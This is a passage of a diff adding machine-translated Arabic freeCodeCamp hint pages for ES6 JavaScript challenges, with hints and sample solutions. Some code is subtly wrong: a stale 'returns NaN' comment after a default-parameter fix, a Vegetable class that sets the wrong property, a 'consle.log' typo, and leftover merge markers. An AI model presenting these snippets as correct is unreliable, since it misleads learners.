+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/mutate-an-array-declared-with-const/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/mutate-an-array-declared-with-const/index.md
new file mode 100644
index 0000000000..9981cd7da4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/mutate-an-array-declared-with-const/index.md
@@ -0,0 +1,61 @@
+---
+title: Mutate an Array Declared with const
+localeTitle: Mutate An Array مع const
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### شرح المشكلة:
+
+إعادة تعيين قيم المتغير `const` `s` باستخدام تعيين عنصر مختلف.
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   يمكنك تغيير قيم المصفوفة على `const` مثل يمكنك مع `var` أو `let` .
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   للوصول إلى صفيف استخدام صفيف القيمة \[index\]
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    const s = [5, 7, 2]; 
+    function editInPlace() { 
+      "use strict"; 
+      s[0] = 2; 
+      s[1] = 5; 
+      s[2] = 7; 
+    } 
+    editInPlace(); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://codepen.io/dylantyates/pen/djoVjW)
+
+# شرح الشفرة:
+
+في محاولة لإعادة تعيين للقراءة فقط `const` سوف متغير رمي خطأ، ولكن باستخدام عنصر مهمة مختلفة يمكنك الوصول إلى وتغيير القيمة من مجموعة مثلما تفعل مع `let` أو `var` .
+
+#### روابط ذات صلة
+
+*   [CONST](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const)
+*   [مجموعة مصفوفة](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/prevent-object-mutation/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/prevent-object-mutation/index.md
new file mode 100644
index 0000000000..4b62a28ba2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/prevent-object-mutation/index.md
@@ -0,0 +1,63 @@
+---
+title: Prevent Object Mutation
+localeTitle: منع تحول الكائن
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### شرح المشكلة:
+
+نحن بحاجة إلى منع `MATH_CONSTANTS` من التغيير.
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   استخدم Object.freeze (obj) لمنع الكائن من التغيير.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `    function freezeObj() { 
+      "use strict"; 
+      const MATH_CONSTANTS = { 
+        PI: 3.14 
+      }; 
+ 
+      Object.freeze(MATH_CONSTANTS); 
+ 
+      try { 
+        MATH_CONSTANTS.PI = 99; 
+      } catch( ex ) { 
+        console.log(ex); 
+      } 
+      return MATH_CONSTANTS.PI; 
+    } 
+ 
+    const PI = freezeObj(); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://codepen.io/dylantyates/pen/OwVxYB)
+
+# شرح الشفرة:
+
+باستخدام Object.freeze () على `MATH_CONSTANTS` يمكننا تجنب التلاعب بها.
+
+#### روابط ذات صلة
+
+*   [Object.freeze ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/set-default-parameters-for-your-functions/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/set-default-parameters-for-your-functions/index.md
new file mode 100644
index 0000000000..eeb4b22db4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/set-default-parameters-for-your-functions/index.md
@@ -0,0 +1,70 @@
+---
+title: Set Default Parameters for Your Functions
+localeTitle: تعيين المعلمات الافتراضية لوظائفك
+---
+## تعيين المعلمات الافتراضية لوظائفك
+
+: _علم_ ثلاثي على _المشاركة: تذكر استخدام Read-Search-Ask إذا واجهتك مشكلة. حاول إقران البرنامج:_ busts in\_silhouette: واكتب رمزك الخاص: قلم رصاص:
+
+### : checkered\_flag: مشكلة التفسير:
+
+ `const increment = (function() { 
+  "use strict"; 
+  return function increment(number, value) { 
+    return number + value; 
+  }; 
+ })(); 
+ console.log(increment(5, 2)); // returns 7 
+ console.log(increment(5)); // returns NaN 
+` 
+
+سنقوم بتعديل دالة الزيادة بحيث يتم زيادة معلمة **الرقم** بمقدار 1 بشكل افتراضي ، عن طريق تعيين **القيمة** إلى 1 إذا لم يتم تمرير **قيمة للقيمة** إلى دالة الزيادة.
+
+### : speech\_balloon: تلميح: 1
+
+دعونا تحديد مكان **قيمة** المعلمة في وظيفة JS
+
+حاول أن تحل المشكلة الآن
+
+### : speech\_balloon: تلميح: 2
+
+تعيين **قيمة** مساوية لشيء بحيث تكون هذه القيمة بشكل افتراضي
+
+حاول أن تحل المشكلة الآن
+
+### تنبيه المفسد!
+
+![المفسد](http://discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+الحل في المستقبل!
+
+## : مبتدئ: حل الرمز الأساسي:
+
+ `const increment = (function() { 
+  "use strict"; 
+  return function increment(number, value = 1) { 
+    return number + value; 
+  }; 
+ })(); 
+ console.log(increment(5, 2)); // returns 7 
+ console.log(increment(5)); // returns NaN 
+` 
+
+: صاروخ: [تشغيل التعليمات البرمجية](https://repl.it/@RyanPisuena/PleasingFumblingThings)
+
+## شرح الشفرة
+
+*   هذا القسم بسيط جدا. تمرير هذا القسم عن طريق تعيين المعلمة **قيمة** تساوي 1. عندما تأتي وظيفة في حالات الاختبار حيث لم يتم تمرير **قيمة** أي شيء، ثم سيتم تعيين **قيمة** واحدة بشكل افتراضي.
+
+روابط ذات صلة:
+
+[معاملات جافا سكريبت الافتراضية](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters)
+
+# : الحافظة: ملاحظات للمساهمات:
+
+*   : تحذير: لا تقم بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها مشابهة ولكن أفضل ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - الأساسي والمتوسط ​​والمتقدم. : traffic\_light:
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي محتويات رئيسية ذات صلة. (: تحذير: لا تقم بإزالة أي أسماء مستخدمين موجودة)
+
+انظر: point\_right: [Wiki Challenge Solution Template](https://forum.freecodecamp.org/t/freecodecamp-algorithm-challenge-template-guide/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/understand-the-differences-between-import-and-require/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/understand-the-differences-between-import-and-require/index.md
new file mode 100644
index 0000000000..66e27426d0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/understand-the-differences-between-import-and-require/index.md
@@ -0,0 +1,22 @@
+---
+title: Understand the Differences Between import and require
+localeTitle: فهم الاختلافات بين الاستيراد وتتطلب
+---
+## فهم الاختلافات بين الاستيراد وتتطلب
+
+دعونا نوضح: `require()` تحميل الملف بأكمله ومكوناته (الوظائف ، المتغيرات) ، في حين أن `import _ from` يسمح لك باختيار المكونات التي تريدها.
+
+في هذا الدرس ، يتم تكليفك باستيراد الدالة `capitalizeStrings()` ، التي تأتي من الملف `"string-functions"` .
+
+## تلميح 1:
+
+املأ الفراغات: `import { function_name } from "file_name"` . اسم الدالة الخاص بك هو `capitalizeStrings` واسم الملف الخاص بك هو `"string-functions"` .
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل
+
+ `"use strict"; 
+ import { capitalizeString } from "string-functions"; 
+ capitalizeString("hello!"); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use--to-import-everything-from-a-file/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use--to-import-everything-from-a-file/index.md
new file mode 100644
index 0000000000..1f63a28dd3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use--to-import-everything-from-a-file/index.md
@@ -0,0 +1,19 @@
+---
+title: Use * to Import Everything from a File
+localeTitle: استخدم * لاستيراد كل شيء من ملف
+---
+## استخدم \* لاستيراد كل شيء من ملف
+
+إذا كنت ترغب في استيراد كل شيء ممكن من ملف ، فإنك تستخدم `import * as _ from` بناء الجملة ، المقدم من ES6. هذا هو بالضبط ما كنت في مهمة في هذا التحدي!
+
+## تلميح 1:
+
+املأ الفراغات: `import * as objName from "file-name"` . يمكنك أن تكون مبدعًا مع `objName` ، ولكن يجب أن يكون اسم الملف الخاص بك هو `capitalize_strings` .
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل:
+
+ `"use strict"; 
+ import * as str from "capitalize_strings"; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-arrow-functions-to-write-concise-anonymous-functions/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-arrow-functions-to-write-concise-anonymous-functions/index.md
new file mode 100644
index 0000000000..cf6501b9a5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-arrow-functions-to-write-concise-anonymous-functions/index.md
@@ -0,0 +1,29 @@
+---
+title: Use Arrow Functions to Write Concise Anonymous Functions
+localeTitle: استخدم Arrow Functions لكتابة الدالات المجهولة
+---
+## استخدم Arrow Functions لكتابة الدالات المجهولة
+
+مرة أخرى ، يدور ES6 حول جعل جافا سكريبت أكثر أناقة ، والبعض الآخر أكثر قابلية للقراءة.
+
+يمكن إنشاء الوظائف المجهولة ، كما هو مذكور ، عندما تكون متأكداً من أنه لن يتم استدعاء الدالة بالاسم في أي مكان آخر.
+
+## تلميح 1:
+
+تخلص من كلمة مفتاح `function` ، وقم بتوصيل هذا `=>` السهم.
+
+## تلميح 2:
+
+هل تخلصت من الكلمة الرئيسية `var` ؟
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل
+
+ `const magic = () => { 
+  "use strict"; 
+  return new Date(); 
+ }; 
+` 
+
+طالما أنك تخلصت من الكلمة الرئيسية `var` ، فأنت جيد.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-class-syntax-to-define-a-constructor-function/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-class-syntax-to-define-a-constructor-function/index.md
new file mode 100644
index 0000000000..e0451d06ff
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-class-syntax-to-define-a-constructor-function/index.md
@@ -0,0 +1,55 @@
+---
+title: Use class Syntax to Define a Constructor Function
+localeTitle: استخدم بناء جملة class لتعريف دالة منشئ
+---
+## استخدم بناء جملة class لتعريف دالة منشئ
+
+في هذا الدرس ، تقوم بتعريف كائن Vegetable باستخدام بناء جملة class.
+
+## تلميح 1:
+
+إنشاء فئة تسمى `Vegetable` . وسوف تحتوي على التفاصيل اللازمة حول كائن `Vegetable` .
+
+## تلميح 2:
+
+ضع `this.name` تسمى `name` ، `this.name` على `this.name` .
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل:
+
+ `function makeClass() { 
+  "use strict"; 
+  /* Alter code below this line */ 
+  class Vegetable { 
+    constructor(name){ 
+      this.name = name; 
+    } 
+  } 
+  /* Alter code above this line */ 
+  return Vegetable; 
+ } 
+` 
+
+\=======
+
+تحذير المفسد: هنا هو الحل الأساسي لهذا التحدي في حال تمسكك.
+
+ `function makeClass() { 
+  "use strict"; 
+  /* Alter code below this line */ 
+ 
+   class Vegetable { 
+     constructor(Vegetable){ 
+       this.Vegetable = Vegetable; 
+ 
+     } 
+   } 
+ 
+  /* Alter code above this line */ 
+  return Vegetable; 
+ } 
+ const Vegetable = makeClass(); 
+ const carrot = new Vegetable('carrot'); 
+ console.log(carrot.name); // => should be 'carrot' 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-arrays/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-arrays/index.md
new file mode 100644
index 0000000000..912f240e21
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-arrays/index.md
@@ -0,0 +1,14 @@
+---
+title: Use Destructuring Assignment to Assign Variables from Arrays
+localeTitle: استخدم Destructuring Assignment لتعيين متغيرات من صفائف
+---
+## استخدم Destructuring Assignment لتعيين متغيرات من صفائف
+
+علينا اتخاذ بعض الاحتياطات في هذه الحالة.
+
+1.  لا حاجة للثابتة \[ب ، أ\] لأنها ستحافظ على تأثير الواجب المحلي.
+    
+2.  const \[b، a\] = \[a، b\] سيؤدي إلى قيمة a ، مثل b غير محددة (قاعدة تخصيص بسيطة من اليسار إلى اليمين).
+    
+
+ومن هنا حل هذه المشكلة \[b، a\] = \[a، b\]
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-nested-objects/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-nested-objects/index.md
new file mode 100644
index 0000000000..b2e8b96113
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-nested-objects/index.md
@@ -0,0 +1,16 @@
+---
+title: Use Destructuring Assignment to Assign Variables from Nested Objects
+localeTitle: استخدم Destructuring Assignment لتعيين متغيرات من الكائنات المتداخلة
+---
+## استخدم Destructuring Assignment لتعيين متغيرات من الكائنات المتداخلة
+
+نصيحة لاجتياز الاختبار النهائي: _تم استخدام التدمير المتداخل_
+
+يريد الاختبار الحصول على `max` والحد `max` فقط. إذا قمت بتفكيك ثابت الخاص بك لاحتواء كلاً من `max` و `min` ، فسوف يفشل الاختبار.
+
+## المفسد!
+
+هنا هو الحل رمز:
+
+ `const { tomorrow: { max: maxOfTomorrow } } = forecast; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-objects/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-objects/index.md
new file mode 100644
index 0000000000..915d6b9199
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-objects/index.md
@@ -0,0 +1,21 @@
+---
+title: Use Destructuring Assignment to Assign Variables from Objects
+localeTitle: استخدم Destructuring Assignment لتعيين متغيرات من الكائنات
+---
+## استخدم Destructuring Assignment لتعيين متغيرات من الكائنات
+
+# يتطلب هذا التحدي بعض الحدس حول كائنات السلسلة في javascript.
+
+عند إنشاء كائن سلسلة يستند إلى [النموذج الأولي السلسلة](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype) .
+
+وبالتالي ، فإن لكل سلسلة خاصية طولية ؛ genericString = {length: 13}. (هذه هي الخاصية المعتمدة فقط من String.prototype.)
+
+# إعادة تعيين خصائص باستخدام deconstruction.
+
+ `var basicOjb = {x: 40}; 
+ //To reassign 'get the value of the x property of basicObj and place its value into bigX' in ES6: 
+ const { x: bigX } = basicOjb; 
+ consle.log(bigX) // ans = 40 
+` 
+
+ضع قيمة الخاصية الطول 'str' في len.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-pass-an-object-as-a-functions-parameters/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-pass-an-object-as-a-functions-parameters/index.md
new file mode 100644
index 0000000000..63fbcc3c58
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-pass-an-object-as-a-functions-parameters/index.md
@@ -0,0 +1,47 @@
+---
+title: Use Destructuring Assignment to Pass an Object as a Function's Parameters
+localeTitle: استخدم Destructuring Assignment لتمرير كائن كمعامل الدالة
+---
+## استخدم Destructuring Assignment لتمرير كائن كمعامل الدالة
+
+يمكنك تمرير الكائن بأكمله ، ثم اختيار السمات المحددة التي تريدها باستخدام `.` المشغل أو العامل. لكن ES6 يقدم خيار أكثر أناقة!
+
+## تلميح 1:
+
+تخلص من `stats` ، وتحقق مما إذا كان بإمكانك تدميرها. نحن بحاجة إلى `max` و `min` من `stats` .
+
+## تحذير المفسد - حلول قادمة!
+
+## الحل 1:
+
+ `const half = (function() { 
+  "use strict"; // do not change this line 
+ 
+  // change code below this line 
+  return function half({max, min}) { 
+    // use function argument destructuring 
+    return (max + min) / 2.0; 
+  }; 
+  // change code above this line 
+ 
+ })(); 
+` 
+
+لاحظ أننا ندمر `stats` لتمرير اثنين من صفاتها - `max` `min` - إلى الوظيفة. لا تنس تعديل بيان الإرجاع الثاني. تغيير `stats.max` إلى `max` ، وتغيير `stats.min` إلى `min` فقط.
+
+## الحل 2:
+
+هنا هو حل آخر يعمل. ليس الكثير من الاختلاف ، بخلاف حقيقة أن الوظيفة لا تملك اسمًا.
+
+ `const half = (function() { 
+  "use strict"; // do not change this line 
+ 
+  // change code below this line 
+  return (({max, min}) => { 
+    // use function argument destructuring 
+    return (max + min) / 2.0; 
+  }); 
+  // change code above this line 
+ 
+ })(); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-with-the-rest-operator-to-reassign-array-elements/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-with-the-rest-operator-to-reassign-array-elements/index.md
new file mode 100644
index 0000000000..b8be99b29e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-with-the-rest-operator-to-reassign-array-elements/index.md
@@ -0,0 +1,67 @@
+---
+title: Use Destructuring Assignment with the Rest Operator to Reassign Array Elements
+localeTitle: استخدم Destructuring Assignment مع عامل التشغيل الباقي لإعادة تعيين عناصر المصفوفة
+---
+## استخدم Destructuring Assignment مع عامل التشغيل الباقي لإعادة تعيين عناصر المصفوفة
+
+تذكر أن المشغل الباقي يسمح للأعداد المتغيرة من الوسيطات. في هذا التحدي ، عليك التخلص من العنصرين الأولين في مصفوفة.
+
+## تلميح 1:
+
+قم بتعيين أول عنصرين إلى متغيرين عشوائيين.
+
+## تلميح 2:
+
+اضبط الجزء المتبقي من المصفوفة على `...arr` .
+
+\=======
+
+## تلميح 1
+
+استخدم destructuring لإنشاء متغير `arr` .
+
+ `function removeFirstTwo(list) { 
+  "use strict"; 
+  // change code below this line 
+  const [arr] = list; // change this 
+  // change code above this line 
+  return arr; 
+ } 
+` 
+
+## تلميح 2
+
+انشر معلمة `list` في `arr` .
+
+ `function removeFirstTwo(list) { 
+  "use strict"; 
+  // change code below this line 
+  const [...arr] = list; // change this 
+  // change code above this line 
+  return arr; 
+ } 
+` 
+
+## تلميح 3
+
+استبعاد أول عنصرين من صفيف `arr` مع `,,` .
+
+ `function removeFirstTwo(list) { 
+  "use strict"; 
+  // change code below this line 
+  const [,,...arr] = list; // change this 
+  // change code above this line 
+  return arr; 
+ } 
+` 
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+ `function removeFirstTwo(list) { 
+  "use strict"; 
+  // change code below this line 
+  const [a, b, ...arr] = list; 
+  // change code above this line 
+  return arr; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-export-to-reuse-a-code-block/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-export-to-reuse-a-code-block/index.md
new file mode 100644
index 0000000000..9659f75fe0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-export-to-reuse-a-code-block/index.md
@@ -0,0 +1,22 @@
+---
+title: Use export to Reuse a Code Block
+localeTitle: استخدم التصدير لإعادة استخدام كتلة تعليمات برمجية
+---
+## استخدم التصدير لإعادة استخدام كتلة تعليمات برمجية
+
+تعلمنا كيفية استيراد الأشياء من ملف آخر. لكن هناك صيد يمكنك فقط استيراد الملفات التي يتم **تصديرها** من هذا الملف الآخر.
+
+مهمتك هنا هي تصدير `foo` و `bar` .
+
+## تلميح 1:
+
+ما عليك سوى إضافة تصدير أمامهم!
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل
+
+ `"use strict"; 
+ export const foo = "bar"; 
+ export const bar = "foo"; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-getters-and-setters-to-control-access-to-an-object/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-getters-and-setters-to-control-access-to-an-object/index.md
new file mode 100644
index 0000000000..004d8229d6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-getters-and-setters-to-control-access-to-an-object/index.md
@@ -0,0 +1,48 @@
+---
+title: Use getters and setters to Control Access to an Object
+localeTitle: استخدام getters والمستقرون على التحكم في الوصول إلى كائن
+---
+## استخدام getters والمستقرون على التحكم في الوصول إلى كائن
+
+تمثل الحروف والأجسام أجزاء مهمة من فئة / كائن. تسمح لك بالتحكم في سماتها من الخارج. سوف تصبح أكثر بروزًا عند بدء استخدام وحدة البرمجة الشيئية (القادمة!). في الوقت الحالي ، يوضح لك هذا التمرين كيفية التلاعب بها مع ES6.
+
+## تلميح 1:
+
+خلق الطبقة ، ترموستات. أنت ذاهب لوضع المنشئ الخاص بك ، الثرى ، واضعة هنا.
+
+## تلميح 2:
+
+إعطاء المعلمة معلمة (والتي يمكنك تسمية أي شيء تريده). قم بتعيين المعلمة إلى سمة بنفس الاسم. تذكر ، أنت في البداية وضع الأشياء في درجة حرارة فهرنهايت.
+
+## تلميح 3:
+
+إنشاء طريقة get يحول سمة Farenheit إلى مئوية. استخدم الصيغة المقدمة لك.
+
+## تلميح 4:
+
+قم بإنشاء طريقة تعيين بنفس الاسم مثل طريقة get. يجب أن تحتوي على معلمة تقبل درجة حرارة مئوية. تحويله إلى farenheit ، وتعيينه إلى السمة.
+
+## تنبيه المفسد - الحل إلى الأمام!
+
+## حل
+
+ `function makeClass() { 
+  "use strict"; 
+  /* Alter code below this line */ 
+ 
+  class Thermostat{ 
+    constructor(farenheit){ 
+      this.farenheit = farenheit; 
+    } 
+    get temperature(){ 
+      return 5 / 9 * (this.farenheit - 32); 
+    } 
+    set temperature(celsius){ 
+      this.farenheit = celsius * 9.0 / 5 + 32; 
+    } 
+  } 
+ 
+  /* Alter code above this line */ 
+  return Thermostat; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-the-rest-operator-with-function-parameters/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-the-rest-operator-with-function-parameters/index.md
new file mode 100644
index 0000000000..83b0bcddb9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/es6/use-the-rest-operator-with-function-parameters/index.md
@@ -0,0 +1,44 @@
+---
+title: Use the Rest Operator with Function Parameters
+localeTitle: استخدم المشغل الباقي مع معلمات الدالة
+---
+## استخدم المشغل الباقي مع معلمات الدالة
+
+### تفسير المعلمة الباقية
+
+[شبكة مطوري موزيلا](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters "شبكة مطوري موزيلا")
+
+### انتشار عامل مقارنة مع المعلمة بقية
+
+[تجاوز المكدس](https://stackoverflow.com/questions/33898512/spread-operator-vs-rest-parameter-in-es2015-es6 "Stack Overflow")
+
+### فيديو يشرح الانتشار والراحة
+
+[!["صورة](http://img.youtube.com/vi/iLx4ma8ZqvQ/0.jpg)](http://www.youtube.com/watch?feature=player_embedded&v=iLx4ma8ZqvQ
+)
+
+[### مثال
+
+هذا الرمز
+
+ `const product = (function() { 
+    "use strict"; 
+    return function product(n1, n2, n3) { 
+        const args = [n1, n2, n3]; 
+        return args.reduce((a, b) => a * b, 1); 
+    }; 
+ })(); 
+ console.log(product(2, 4, 6));//48 
+` 
+
+يمكن كتابتها على هذا النحو
+
+ `const product = (function() { 
+    "use strict"; 
+    return function product(...n) { 
+        return n.reduce((a, b) => a * b, 1); 
